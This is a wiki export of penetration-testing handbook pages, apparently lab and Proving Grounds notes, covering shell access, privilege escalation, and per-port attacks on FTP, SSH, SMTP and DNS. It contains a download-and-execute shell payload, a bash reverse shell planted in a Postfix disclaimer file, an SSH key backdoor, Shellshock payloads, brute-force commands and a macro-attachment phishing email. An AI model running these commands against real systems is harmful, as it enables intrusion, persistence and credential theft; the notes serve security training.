==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2352</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2352"/>
		<updated>2026-03-05T18:38:01Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Rejetto HFS - HTTP File Server (GUI based) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
